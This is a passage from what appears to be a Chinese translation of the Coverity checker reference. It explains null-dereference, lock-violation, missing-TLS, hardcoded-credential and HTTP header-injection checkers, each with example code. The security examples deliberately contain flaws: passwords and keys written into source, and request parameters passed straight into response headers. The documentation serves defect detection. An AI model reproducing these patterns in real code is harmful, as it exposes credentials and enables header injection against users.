 public static Object callA() {
 // This causes a FORWARD_NULL defect report
 return testA(null);
 }

 public static Object callB() {
 // No defect report
 return testA(new Object());
 }
}

```

```
}
```

```
public static String testA(Object o) {
 return o.toString();
}
```

```
}
```

#### 4.163.3.6. Scala

在此示例中，首先检查 `p` 是否为 `null`，然后在不再次检查是否为 `null` 的情况下解引用。

```
def example(p : AnyRef) {
 if (p ne null) {
 p.hashCode();
 }
 p.hashCode(); // Defect here.
}
```

#### 4.163.3.7. JavaScript

在示例 1 中，首先检查 `x` 是否为 `null`，然后在不再次检查是否为 `null` 的情况下解引用。在示例 2 中，根据 `pos` 的值有条件地给 `name` 赋值，但稍后在没有检查它是否已被赋值的情况下解引用了它。

```
function example1(x) {
 if(x !== null) {
 }
 // x will be null on the 'else' case of the if.
 x();
}

function example2(userInput) {
 var name; // name is implicitly assigned to undefined
 var pos = userInput.indexOf("name:");
 if (pos >= 0) {
 name = userInput.substring(pos + "name:".length);
 }
 // name will be undefined on the 'else' case of the if.
 return name.substring(0,8);
}
```

#### 4.163.3.8. PHP

在此示例中，首先检查 `fn` 是否为 `NULL`，然后在不再次检查是否为 `NULL` 的情况下调用。

```
function forward_null_example1($fn, $arg) {
 if ($fn != NULL) {
 something();
 }
 // fn will be NULL on else branch of if
 return $fn($arg); // Defect here.
```

```
}
```

在此示例中，首先检查 `obj` 是否为 `NULL`，然后在不再次检查是否为 `NULL` 的情况下访问成员。这不会导致错误，但会求值为 `null`，这可能不是本来的意图。

```
function forward_null_example2($obj, $arg) {
 if ($obj != NULL) {
 something();
 }
 // $obj will be NULL on else branch of if.
 // $obj->method won't cause fatal error, but evaluates null.
 return $obj->method($arg); // Defect here.
}
```

#### 4.163.3.9. Python

在此示例中，首先检查 `obj` 是否为 `None`，然后在不再次检查是否为 `None` 的情况下访问成员。

```
def forward_null_example(obj):
 if (obj is not None):
 something()
 # obj will be NULL on else branch of if
 return obj.foo # Defect here.
```

在此示例中，首先检查 `obj` 是否为 `None`，然后在不再次检查是否为 `None` 的情况下对 `obj` 调用方法。

```
def forward_null_example2(obj):
 if (obj is not None):
 something()
 # obj will be NULL on the else branch of if
 return obj.method() # Defect here.
```

#### 4.163.3.10. Ruby

在此示例中，首先检查 `obj` 是否为 `nil`，然后在不再次检查是否为 `None` 的情况下对 `nil` 调用方法。此示例也说明了访问 `NilClass` 接口的已知成员 `respond_to?` 不会报告缺陷。

```
def call_on_inferred_nil(x)
 if not x
 puts "x is nil or false on this path."
 end
 # On one of two paths reaching here, x is nil or false.

 # Invoking 'respond_to?' on x is OK because it is
 # part of the well-known NilClass interface.
 return 'FAIL' if not x.respond_to? :is_a? # No defect here.

 # But invoking 'call' causes a defect because it is not well-known.
 x.call() # Defect here.
end
```

#### 4.163.4. 选项

本部分描述了一个或多个 FORWARD\_NULL 选项。

- FORWARD\_NULL:aggressive\_derefs:<boolean> - 当此选项为 true 时，检查器将报告潜在的 null 指针解引用的情况，其中 null 值与其使用之间的路径不太确定（与没有此选项的行为相比，该行为寻找更确定的路径）。例如，如果存在某个数组，并且我们有一个基于其元素值的条件 - 我们不跟踪数组元素的值，因此我们不能确定这样的条件是真是假。

在下面的示例中，我们不会报告 bar 中的 null 指针解引用，因为我们不知道 buf[5] 的值可能是什么。如果设置了 aggressive\_derefs 选项，我们可能会报告它，因为从 null 值到其解引用之间存在潜在的不确定性路径。

```
void bar (int *p)
{
 int buf[10];
 load_buf_from_file (buf);

 if (buf[5] > 5)
 *p = 1;
}

void foo ()
{
 bar (nullptr);
}
```

另请参阅 very\_aggressive\_derefs 检查器选项。默认值为 FORWARD\_NULL:aggressive\_derefs:false (适用于所有语言)。

如果分析命令的 --aggressiveness-level 选项被设置为 medium (或 high)，此检查器选项会被自动设置为 true (适用于 C/C++、C#、Java 和 PHP)。

- FORWARD\_NULL:aggressive\_null\_sources:<boolean> - 当此选项为 true 时，该检查器将找出确定性低于默认值的 null 来源。默认值为 FORWARD\_NULL:aggressive\_null\_sources:false (适用于所有语言)。此选项会在中和高攻击级别自动启用 (true)。
- FORWARD\_NULL:assume\_write\_to\_addr\_of:<boolean> - 当此选项为 true 时，该检查器将在指针的地址被作为参数获取时停止跟踪指针。默认值为 FORWARD\_NULL:assume\_write\_to\_addr\_of:false (仅适用于 C、C++、C#、Visual Basic、Objective-C 和 Objective-C++)。
- FORWARD\_NULL:as\_conversion:<boolean> - 当此选项为 true 时，该检查器将在 as 运算符返回 null 时报告缺陷。(此仅适用于 C# 和 Visual Basic 的选项等同于 C、C++、Objective-C 和 Objective-C++ 的 dynamic\_cast 选项。) 默认值为 FORWARD\_NULL:as\_conversion:false (仅适用于 C# 和 Visual Basic)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- FORWARD\_NULL:deref\_zero\_errors:<boolean> - 当此选项被设置为 true 时，该检查器将在不安全使用常数值 null 或未定义值时报告缺陷。当该选项为 false 时，该检查器将忽略这些问题，将其视为特意为之。默认值为 FORWARD\_NULL:deref\_zero\_errors:false（适用于 C、C++、Go、JavaScript、Objective-C、Objective-C++ 和 TypeScript）。默认值为 FORWARD\_NULL:deref\_zero\_errors:true（仅适用于 C#、Visual Basic、Java、Scala 和 Swift）。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

- FORWARD\_NULL:dynamic\_cast:<boolean> - 当此 C++ 选项为 true 时，该检查器将在动态转换返回 null 并且随后在未执行检查的情况下进行解引用时报告缺陷。默认值为 FORWARD\_NULL:dynamic\_cast:true（不适用于 Scala）

要禁用此选项，请在运行分析时指定 --checker-option FORWARD\_NULL:dynamic\_cast:false（仅适用于 C++）。

- FORWARD\_NULL:fields\_from\_new:<boolean> - 当此选项为 true 时，该检查器将针对在使用 new 调用的构造函数中被赋予 null（隐式或显式）的字段报告 null 解引用。默认值为 FORWARD\_NULL:fields\_from\_new:false（仅适用于 C++、Java、C# 和 Visual Basic）。

Java 示例：

```
class Wrapper {
 Object mObj;
}

void fieldsFromNew() {
 new Wrapper().mObj.toString(); // FORWARD_NULL reported with option
}
```

- FORWARD\_NULL:strict\_write\_to\_addr\_of:<boolean> - 此选项可用于 C、C++、Objective-C、Objective-C++。当此选项为 true 时，检查器将假定指针通过引用传递给函数时不会被重写；检查器将继续跟踪该指针。strict\_write\_to\_addr\_of 选项和 assume\_write\_to\_addr\_of 选项是互斥的，如果同时使用这两个选项，则 assume\_write\_to\_addr\_of 优先。使用 strict\_write\_to\_addr\_of 能够比使用 assume\_write\_to\_addr\_of 更主动地发现缺陷。

默认值为 FORWARD\_NULL:strict\_write\_to\_addr\_of:false。在此情况下，检查器将假设指针通过引用传递给函数时可能会被重写。

- FORWARD\_NULL:track\_macro\_nulls:<boolean> - 当此选项为 true 时，该检查器将在 null 赋值或检查是在宏中执行时报告缺陷。默认情况下，该检查器将忽略发生在宏中的显式 null 赋值，因为这些情况通常是由对部分（并非全部）宏调用为 true 的条件导致的。默认值为 FORWARD\_NULL:track\_macro\_nulls:false（仅适用于 C 和 C++）。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

下面的示例可能被检测到：

```
#define VERIFY(truism) ((truism)? true : false)
void example(void)
{
 int *p = GetInt();
 if (!VERIFY(p != NULL))
 {
 }
 *p = 0;
}
```

- FORWARD\_NULL:very\_aggressive\_derefs:<boolean> - 当此选项为 true 时，该检查器将找出从 null 值到使用不支持 null 值并且确定性明显低于默认值的这些值的路径。另请参阅 aggressive\_derefs 检查器选项。默认值为 FORWARD\_NULL:very\_aggressive\_derefs:false (适用于所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

#### 4.163.5. 事件

本部分描述了 FORWARD\_NULL 检查器生成的一个或多个事件。

- **开始事件**
  - assign\_zero - 变量被赋予 NULL 值。
  - dynamic\_cast - 从动态转换返回了 NULL。到指针类型的动态转换可能是有意返回 NULL。
  - var\_compare\_op - 在执行 null 指针解引用之前将变量与 NULL 进行了比较。
- **中间事件**
  - alias\_transfer - 变量被赋予可能为 null 的指针。
  - identity\_transfer - 函数的返回值为 NULL，因为函数的其中一个参数可能为 null 并且未经修改即返回。
- **结束事件**
  - dereference - 可能为 null 的值 iptr 增加。
  - var\_deref\_model - 可能为 null 的指针被传递给解引用它的函数。
  - var\_deref\_op - null 指针解引用运算。
  - zero\_deref - 解引用 null 指针常数值。

#### 4.164. GUARDED\_BY\_VIOLATION

质量、C# 并发检查器

#### 4.164.1. 概述

支持的语言：. C#、Go、Java

GUARDED\_BY\_VIOLATION 查找字段在无锁时进行更新，从而导致潜在竞态条件（这可能导致无法预测或不正确的程序行为）的很多情况。

GUARDED\_BY\_VIOLATION 推断保护关系会记录字段在具有已知锁时进行更新的情况。如果字段 `g` 用来保护字段 `f`，则并发访问 `f` 需要先持有 `g` 作为锁。如果该检查器推断锁在至少 70% 的时间里保护字段，或者总共只访问了字段三次，其中两次访问需要受保护（在此类情况下，字段会被推断为受保护），此类资源若出现无锁保护访问，则会报告缺陷。如果总共只访问了字段两次，并且只有一次访问受保护，这种情况下使用 `--checker-option=LOCK_FINDER:report_one_out_of_two` 针对不受保护的访问报告缺陷。

在 Coverity Connect 中，不受保护的访问事件显示在包含受保护字段访问示例的页面中。您可以单击文件名称，查看与代码关联的事件。在某些情况下，例如，当无法获取示例保护字段访问的源代码时，会显示 `guarded_access_in_bytecode` 事件。

此检查器不会报告以下方法中的缺陷：

- 构造函数。
- 静态初始化器。
- C# 特定：`ToString`、`GetHashCode` 和 `Equals` 方法。
- Java 特定：`clone`、`toString`、`hashCode` 和 `equals` 方法。
- 没有源代码的方法，例如库类中的方法。

启用

C#、Java

- 默认启用：GUARDED\_BY\_VIOLATION 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

Go

- 默认禁用：GUARDED\_BY\_VIOLATION 默认禁用。可以使用 `--concurrency` 选项启用它。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.164.2. 示例

本部分提供了一个或多个 GUARDED\_BY\_VIOLATION 示例。

##### 4.164.2.1. C#

在下面的示例中，`myLock` 保护 `myData`。如果该检查器推断 `myLock` 保护 `myData`，则会在 `UnsafeAccess()` 中报告缺陷。

```

using System;

public class GuardedByViolation
{
 private int myData;
 private Object myLock;

 public void InferGuardedByRelationship()
 {
 lock(myLock) {
 myData++;
 myData--;
 myData *= myData;
 myData /= myData;
 // ...
 }
 }

 public void UnsafeAccess()
 {
 myData ^= myData;
 }
}

```

#### 4.164.2.2. Go

在下面的示例中，函数 `double()` 在没有锁的情况下更新 `t.data`。但是，在其他三个函数中，`t.data` 是在持有锁的情况下更新的。

```

type MyType struct {
 mutex *sync.Mutex
 data int
}

func (t * MyType)increase() {
 t.mutex.Lock()
 t.data++
 t.mutex.Unlock()
}

func (t * MyType)decrease() {
 t.mutex.Lock()
 t.data--
 t.mutex.Unlock()
}

func (t * MyType)divide_by_two() {
 t.mutex.Lock()
 t.data /= 2
 t.mutex.Unlock()
}

```

```
func (t * MyType)double() {
 t.mutex.Lock()
 t.mutex.Unlock()
 t.data *= 2 //#defect#GUARDED_BY_VIOLATION
}
```

#### 4.164.2.3. Java

在下面的示例中，GuardedByViolationExample.lock 保护 count。如果该检查器推断 GuardedByViolationExample.lock 保护 count，则会在 decrement() 中报告缺陷。

```
public class GuardedByViolationExample {
 int count;
 Object lock;

 public void increment() {
 synchronized(lock) { // example_lock event
 count++; // example_access event
 }
 }

 public void times_two() {
 synchronized(lock) { // example_lock event
 count *= 2; // example_access event
 }
 }

 public void square() {
 synchronized(lock) { // example_lock event
 count *= count; // example_access event
 }
 }

 public void decrement() {
 count--; // Defect: missing_lock
 }
}
```

#### 4.164.3. 选项

C# 和 Java

本部分描述了一个或多个 GUARDED\_BY\_VIOLATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- GUARDED\_BY\_VIOLATION:lock\_inference\_threshold:<percentage> - 此 C# 和 Java 选项用于指定对必须通过特定锁保护的结构的全局变量或字段的最低访问百分比（该检查器据此确定相应变量或字段始终应通过该锁进行保护）。如果通过锁 l 对变量 v 的访问次数与 v 总访问次数相比的比例大于或等于您设置的百分比，变量 v 将被视为通过锁 l 进行保护。如果该百分比被设置为 50，则当对变量 v 的访问中有四分之二是通过锁 l 访问

时，该检查器将报告缺陷。如果被设置为 75，此类应用场景不会产生缺陷报告。默认值为 GUARDED\_BY\_VIOLATION:lock\_inference\_threshold:70（适用于 C# 和 Java）。

```
--checker-option GUARDED_BY_VIOLATION:lock_inference_threshold:50
```

- GUARDED\_BY\_VIOLATION:lock\_finder:report\_one\_out\_of\_two - 如果总共只访问了字段两次，并且只有一次访问受保护，这种情况下使用该选项针对不受保护的访问报告缺陷。

#### 4.164.4. 注解

仅限 Java

对于 Java，GUARDED\_BY\_VIOLATION 检查器可识别以下注解：

- @GuardedBy

您可以使用 GuardedBy 注解指定字段的锁。将该注解放在字段声明上方的行中。锁名称由类名称和锁名称组合而成：

```
@GuardedBy(" LockName ")
```

例如，下面的注解表明 count 和 GuardedByViolationExample2\_Annotation.lock 存在保护关系；当该检查器发现不持有该锁即被访问的 count 字段时，会报告缺陷。

```
import com.coverity.annotations.GuardedBy;

public class GuardedByViolationExample2_Annotation {
 @GuardedBy("GuardedByViolationExample2_Annotation.lock")
 int count;
 Object lock;

 public void increment() {
 count++; /* Defect: missing_lock with
 no example of guarded access */
 }
}
```

有关详细信息，请参阅 <install\_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html 上的 Section 5.4.2，“添加 Java 注解以提高准确度”和 Javadoc 文档。

#### 4.164.5. 事件

C# 和 Java

本部分描述了 GUARDED\_BY\_VIOLATION 检查器生成的一个或多个事件。

- access\_alias - 将一个变量赋值给另一个变量。
- example\_access - 示例字段在持有锁的情况下被访问。
- example\_lock - 获取了示例锁。

- lock - [仅限 C#] 调用 System.Threading.Monitor.Enter()。C# 特定事件。
- java\_lock - [仅限 Java] 调用 java.util.concurrent.locks lock()。Java 特定事件。
- unlock - [仅限 C#] 调用 System.Threading.Monitor.Exit()。C# 特定事件。
- java\_unlock - [仅限 Java] 调用 java.util.concurrent.locks unlock()。Java 特定事件。
- missing\_lock - 字段在不具有锁保护的情况下被访问。

## 4.165. HAPI\_SESSION\_MONGO\_MISSING\_TLS

安全检查器

### 4.165.1. 概述

支持的语言 : . JavaScript、TypeScript

HAPI\_SESSION\_MONGO\_MISSING\_TLS 可查找 Hapi.js 应用程序使用远程 MongoDB 进行会话存储但未通过 hapi-session-mongo 插件在数据库连接上启用 SSL 的情况。这允许访问网络的攻击者窃听发送到数据库或从数据库检索的任何数据。

默认禁用 : HAPI\_SESSION\_MONGO\_MISSING\_TLS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用 : 要启用 HAPI\_SESSION\_MONGO\_MISSING\_TLS 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

### 4.165.2. 示例

本部分提供了一个或多个 HAPI\_SESSION\_MONGO\_MISSING\_TLS 示例。

在下面的示例中，针对注册 hapi-session-mongo 插件而不将远程数据库的 ssl 值设置为 true 的 register 函数显示 HAPI\_SESSION\_MONGO\_MISSING\_TLS 缺陷：

```
const Hapi = require('hapi');
const server = new Hapi.Server();

server.connection({ port: 3000 });

server.register([{ // HAPI_SESSION_MONGO_MISSING_TLS defect
 register: require('hapi-session-mongo'),
 options: {
 ip: '192.158.0.1',
 db: 'user',
 name: 'sessions',
 pwd: 'shhh i am secret',
 }
}]
```

```
}]);
```

## 4.166. HARDCODED\_CREDENTIALS

安全检查器

### 4.166.1. 概述

支持的语言：. C、C++、C#、Go、Java、Kotlin、Objective-C、Objective-C++、JavaScript、PHP、Python、Ruby、Swift、TypeScript、Visual Basic

HARDCODED\_CREDENTIALS 搜索直接存储在源代码中（硬编码）的密码、加密密钥和安全令牌。对此类源代码具有访问权限的用户可以使用这些凭证来访问生产数据或生产服务。更改这些凭证需要更改代码并重新部署应用程序。

默认禁用：HARDCODED\_CREDENTIALS 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

对于 Go、Kotlin、Ruby 和 Swift，默认启用 HARDCODED\_CREDENTIALS。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 HARDCODED\_CREDENTIALS，请在 cov-analyze 命令中使用 --android-security 选项。

Web 应用程序安全检查器启用：要启用 HARDCODED\_CREDENTIALS 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

### 4.166.2. 缺陷剖析

HARDCODED\_CREDENTIALS 缺陷描述如何使用在源代码中定义的硬编码值作为安全凭证。缺陷路径首先显示了使用常量字符串（以此为例）的硬编码凭证的定义。在此处开始，缺陷中的各种事件说明了此硬编码值如何在程序中流动，例如从函数调用的参数到被调用函数的参数。最后，该缺陷的主要事件说明了最终是如何将此硬编码值用作密码、密码密钥或安全令牌的。

### 4.166.3. 示例

#### 4.166.3.1. C/C++

下面的示例使用硬编码字符串作为登录密码。该检查器会针对此代码报告 hardcoded\_credential\_passwd 缺陷。

```
void test() {
 char password[] = "ABCD1234!";
 HANDLE pHandle;
 LogonUserA("User", "Domain", password, 3, 0, &pHandle);
 // HARDCODED_CREDENTIALS defect at preceding statement
}
```

#### 4.166.3.2. C#

```
using System;

public class HardcodedCredential {
 void Test(string username, string domain) {
 string hard_coded = "test";
 System.Net.NetworkCredential obj =
 new System.Net.NetworkCredential(username, hard_coded, domain);
 // HARDCODED_CREDENTIALS defect
 }
}
```

#### 4.166.3.3. Go

以下代码使用硬编码字符串作为用户名和密码凭证来创建 `Userinfo` 类型的对象。针对 `return` 语句显示缺陷。

```
import . "net/url"

func UserInfo() *Userinfo{
 username := "User"
 password := "Password"
 return UserPassword(username, password) // HARDCODED_CREDENTIALS defect
}
```

#### 4.166.3.4. Java

下面的示例显示了作为 `DriverManager.getConnection` call 的参数的硬编码密码。有权访问此代码的用户也可以访问数据库。

```
import java.sql.*;
Connection getCon(String url) throws SQLException {
 return DriverManager.getConnection(url,
 /*username*/ "leroy",
 /*password*/ "jenkins");
}
```

下面的示例显示了作为 `SecretKeySpec` 调用的参数的硬编码加密密钥。

```
String secret = "It's a secret to everybody.";
javax.crypto.spec.SecretKeySpec keyspec =
 new javax.crypto.spec.SecretKeySpec(secret.getBytes("UTF-8"), "AES");
```

下面的示例说明了通过将凭证硬编码为 `UsernamePasswordAuthenticationToken` 构造函数的参数获得的硬编码安全令牌的使用。

```
import
org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
new UsernamePasswordAuthenticationToken("Druidia", "12345");
```

#### 4.166.3.5. JavaScript

以下代码使用硬编码密码来创建类 `Cipher` 的实例以加密 `data`。对此源代码有访问权限的任何人都可以使用硬编码密码解密此类数据。更改该硬编码密码会要求重新部署该代码。

```
function unsafe_encrypt(data) {
 var crypto = require('crypto');
 var algorithm = 'aes192';
 var password = "ABCD1234!";

 var cipher = crypto.createCipher(algorithm, password);
 var cipher_text = cipher.update(data, 'utf8', 'base64');
 cipher_text += cipher.final('base64');
 return cipher_text;
}
```

#### 4.166.3.6. Kotlin

下面的示例显示了作为 `DriverManager.getConnection` call 的参数的硬编码密码。有权访问此代码的用户也可以访问数据库。

```
import java.sql.Connection
import java.sql.DriverManager

fun getCon(url : String) : Connection = DriverManager.getConnection(url,
 /*username*/ "leroy",
 /*password*/ "jenkins")
```

下面的示例显示了作为 `SecretKeySpec` 的参数的硬编码加密密钥。

```
var secret = "It's a secret to everybody."
var keyspec = SecretKeySpec(
 /* secret */ secret.toByteArray(Charsets.UTF_8),
 /* algorithm */ "AES")
```

下面的示例说明了通过将凭证硬编码为 `UsernamePasswordAuthenticationToken` 构造函数的参数获得的硬编码安全令牌的使用。

```
import
org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
fun token() = UsernamePasswordAuthenticationToken("Druidia", "12345");
```

#### 4.166.3.7. PHP

下面的代码打开到 MySQL 服务器的新连接，并使用硬编码字符串作为连接密码。该检查器报告 `HARDCODED_CREDENTIALS` 缺陷。

```
<?php
$link = mysqli_connect("127.0.0.1", "my_user", "my_password", "my_db");
```

```
// HARDCODED_CREDENTIALS defect at preceding statement
?>
```

#### 4.166.3.8. Python

下面的 Python 代码硬编码管理员密码。

```
from werkzeug.security import generate_password_hash, check_password_hash

admin_pass = "CHANGE_ME_SECRET_ADMIN_PASS"

def admin_login():
 if request.method == 'POST':
 uname = request.form['username']
 passwd = request.form['password']
 if(uname == 'admin'):
 return check_password_hash(generate_password_hash(passwd), admin_pass)
```

#### 4.166.3.9. Ruby

以下 Ruby 代码包含电子邮件帐户的硬编码字符串：

```
username = "email_user"
password = "ABCD1234!"

Net::SMTP.start('your.smtp.server', 25) do |smtp|
 smtp.authenticate(username, password)
end
```

#### 4.166.3.10. Swift

下面的示例使用硬编码密码作为共享 Web 凭证。

```
private func initAdmin(completion: ((CFError?) -> Void)? = nil) {
 let domain: NSString = "synopsys.com"
 let user: NSString = "admin"
 let password: NSString = "p4ssw0rd"
 // Bug: the password is hardcoded in the source code
 SecAddSharedWebCredential(domain, user, password) { error in
 completion?(error)
 }
}
```

#### 4.166.3.11. Visual Basic

```
imports System

Public Class HardcodedCredential
 Sub Test(username As String, domain As String)
```

```

Dim hard_coded As String = "test"
Dim obj As System.Net.NetworkCredential =
 new System.Net.NetworkCredential(username, hard_coded, domain)
 ' HARDCODED_CREDENTIALS defect at previous line
End Sub
End Class

```

#### 4.166.4. 选项

本部分描述了一个或多个 HARDCODED\_CREDENTIALS 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- HARDCODED\_CREDENTIALS:report\_empty\_credentials:<boolean> - 此选项决定是否报告为空字符串的硬编码凭证。例如，有时会在测试代码中、本地数据库内或可能没有危险的其他位置使用空密码。虽然将此选项设置为 true 可以让分析查找更多真正的缺陷，但也可能产生更多误报。默认值为 HARDCODED\_CREDENTIALS:report\_empty\_credentials:false（适用于除 Ruby 之外的所有语言）。

#### 4.166.5. 模型

该分析可针对流入其中一个原语的常量字符串或字节数组报告缺陷。数据消费者之间的差异在于报告的缺陷所属的子类别以及最终调用中的事件消息。

##### 4.166.5.1. C/C++

下面的原语可用于通过 HARDCODED\_CREDENTIALS 执行的 C/C++ 分析：

- \_\_coverity\_hardcoded\_credential\_passwd\_sink\_\_(void \*)
- \_\_coverity\_hardcoded\_credential\_crypto\_sink\_\_(void \*)
- \_\_coverity\_hardcoded\_credential\_token\_sink\_\_(void \*)

此示例使用 \_\_coverity\_hardcoded\_credential\_passwd\_sink\_\_ 为使用数据作为密码的函数建模：

```

void authenticate(char *data) {
 __coverity_hardcoded_credential_passwd_sink__(data);
}

```

对于上述模型，将硬编码字符串传递给此函数的数据参数会导致报告 HARDCODED\_CREDENTIALS hardcoded\_credential\_passwd 缺陷，如下面的示例所示。

```

void test() {
 char data[] = "ABCD1234!";
 authenticate(data); // HARDCODED_CREDENTIALS defect
}

```

}

#### 4.166.5.2. C# 和 Visual Basic

下面的原语将其参数标记为分别用作密码、密码密钥或安全令牌。

```
Coverity.Primitives.Security.HardcodedPasswordSink()
Coverity.Primitives.Security.HardcodedCryptographicKeySink()
Coverity.Primitives.Security.HardcodedSecurityTokenSink()
```

要根据以下源代码生成模型，您需要对其运行 cov-make-library。

```
// User model
using Coverity.Primitives;
class MyClass {
 public void usePassword(String password) {
 Security.HardcodedPasswordSink(password);
 }
}
```

该检查器使用得到的模型文件在以下源代码中查找缺陷。

```
// Code under analysis
void login(MyClass x) {
 x.usePassword("12345"); // HARDCODED_CREDENTIALS defect
}
```

请参阅 Section 5.2.1.3, “C# 和 Visual Basic 原语”中的  
Security.HardcodedConnectionStringSink(Object) 原语。

#### 4.166.5.3. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func hardcoded_connection_password_function(data interface{}) {
 PasswordSink(data);
}
```

如果 `hardcoded_connection_password_function()` 的参数是硬编码密码，`PasswordSink()` 原语将指示 HARDCODED\_CREDENTIALS 报告缺陷。

#### 4.166.5.4. Java 和 Kotlin

下面的方法是将其参数标记为分别用作密码、密码密钥或安全令牌的模型原语。

```
com.coverity.primitives.SecurityPrimitives
.hardcoded_credential_passwd_sink(Object password)
.hardcoded_credential_crypto_sink(Object key)
.hardcoded_credential_token_sink(Object token)
```

要根据以下源代码生成模型，您需要对其运行 cov-make-library。

```
// User model
import com.coverity.primitives.SecurityPrimitives;
class MyClass {
 public void usePassword(String password) {
 SecurityPrimitives.hardcoded_credential_passwd_sink(password);
 }
}
```

当使用硬编码密码调用 `usePassword` 时，该检查器使用得到的模型文件在以下源代码中查找缺陷。

```
// Code under analysis
void login(MyClass x) {
 x.usePassword("12345");
}
```

### 4.166.5.5. JavaScript

通过使用 `sink_for_checker` 指令来指定获取密码、安全令牌或加密密钥的其他函数参数，您可以帮助 HARDCODED\_CREDENTIALS 检查器在 JavaScript 代码中找到更多缺陷。我们将此类函数参数称为 HARDCODED\_CREDENTIALS 的 sinks。 HARDCODED\_CREDENTIALS 会在常量字符串流入数据消费者时报告缺陷。

下面的 JSON 文件为 HARDCODED\_CREDENTIALS 指定了 `sink_for_checker` 指令。它告诉检查器将函数 `usePassword`（任何对象）的第一个参数视为 HARDCODED\_CREDENTIALS 的数据消费者。请参考 `sink_for_checker directive` 了解有关此指令的更多详情。

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "javascript",
 "directives" : [
 {
 "sink_for_checker": "HARDCODED_CREDENTIALS",
 "sink": {
 "input": "arg1",
 "to_callsite": [
 "call_on": [
 "read_off_any" : [
 { "property" : "usePassword" }
]
]
]
 }
 }
],
}
```

```
]
}
```

如果您将上面的指令文件传递给 cov-analyze , HARDCODED\_CREDENTIALS 会在以下源代码中报告缺陷。

```
function login(x) {
 x.usePassword("12345");
}
```

## 4.167. HEADER\_INJECTION

安全检查器

### 4.167.1. 概述

支持的语言 : . C、C++、C#、Go、Java、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Swift、TypeScript、Visual Basic

HEADER\_INJECTION 查找头文件注入漏洞 ; 当在 HTTP 头文件名称中使用不受控制的动态数据时 , 就会产生此类漏洞。此安全漏洞可能允许攻击者设置或重写重要的头文件值。

此问题的影响因以下因素而异 :

- 攻击者是否控制整个 HTTP 头文件名称。
- 攻击者是否还控制关联的 HTTP 头文件值。

HTTP 响应中的头文件注入可以允许更加隐蔽的攻击 , 例如跨站点脚本 (XSS) 或开放式重定向。

- 默认禁用 : HEADER\_INJECTION 默认对 C、C++、C#、Java、JavaScript、PHP、Python、Objective-C、Objective-C++、TypeScript、Visual Basic 禁用。要启用它 , 可以在 cov-analyze 命令中使用 --enable 选项。对于 C/C++ 语言 , 可以使用 --security 选项启用它。

Web 应用程序安全检查器启用 : 要启用 HEADER\_INJECTION 以及其他 Web 应用程序检查器 , 请使用 --webapp-security 选项。

- 默认启用 : HEADER\_INJECTION 默认对 Go、Kotlin 和 Swift 启用。

这是被污染的数据检查器。有关更多信息 , 请参阅 Section 6.8, “被污染的数据概述”。

### 4.167.2. 缺陷剖析

HEADER\_INJECTION 缺陷表明不可信 ( 被污染 ) 数据通过数据流路径流入 HTTP 头文件元素。攻击的严重性取决于可以污染的 HTTP 头文件的类型。该路径从不可信数据源开始 , 例如读取 HTTP 请求消息头文件的某些部分。在此处开始 , 缺陷中的各种事件说明了此被污染数据如何在程序中流动 , 并且如何在设置 HTTP 响应消息的头文件的函数中结束。随后 , HTTP 消息被发送给受害者。

### 4.167.3. 示例

本部分提供了一个或多个 HEADER\_INJECTION 示例。

#### 4.167.3.1. C#

下面的注入允许攻击者设置重要的 HTTP 头文件（例如 set-cookie、X-Frame-Options 等）以禁用某些安全机制，或者修复会话 ID 等。

```
var resp = System.Web.HttpContext.Current.Response;
var req = System.Web.HttpContext.Current.Request;

// ...
resp.AddHeader(req.Params["header_name"],
 req.Params["header_value"]);
```

#### 4.167.3.2. C、C++

以下示例显示了 curl\_easy\_setopt 调用的一个缺陷。

```
int copy_cookie_to_header(CURL *handle, int socket)
{
 char message[1024];
 if (recv(socket, message, sizeof(message), 0) <= 0) {
 return -1;
 }
 return curl_easy_setopt(handle, CURLOPT_HTTPHEADER, message); // defect
}
```

#### 4.167.3.3. Go

下面的注入允许攻击者设置重要的 HTTP 头文件（例如 set-cookie、X-Frame-Options 等）以禁用某些安全机制，或者修复会话 ID 等。

```
func SetSomeHeader(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
 queryValues := r.URL.Query()
 w.Header().Set(queryValues.Get("name"), queryValues.Get("value")) // Defect here
}
```

#### 4.167.3.4. Java

下面的注入允许攻击者设置重要的 HTTP 头文件（例如 set-cookie、X-Frame-Options 等）以禁用某些安全机制，或者修复会话 ID 等。

```
HttpServletRequest req;
HttpServletResponse resp;
// ...
resp.addHeader(req.getParameter("header_name"),
 req.getParameter("header_value"),);
```

在下面的示例中，攻击者不具有同样多的控制权限，但仍可以通过 X-Frame-Options 禁用 UI 纠正保护。

```
resp.setHeader("X-Frame-Options", "SAMEORIGIN");
// ...
String n = req.getParameter("http_name");
String v = req.getParameter("http_value");
resp.setHeader("X-" + n, v);
```

#### 4.167.3.5. JavaScript

```
function req(url, value, elem) {
 var req = new XMLHttpRequest();
 req.open('GET', url, true);
 var h = location.hash.substring(1); // Tainted data
 if (h) {
 req.setRequestHeader(h, value); // Setting header with tainted data
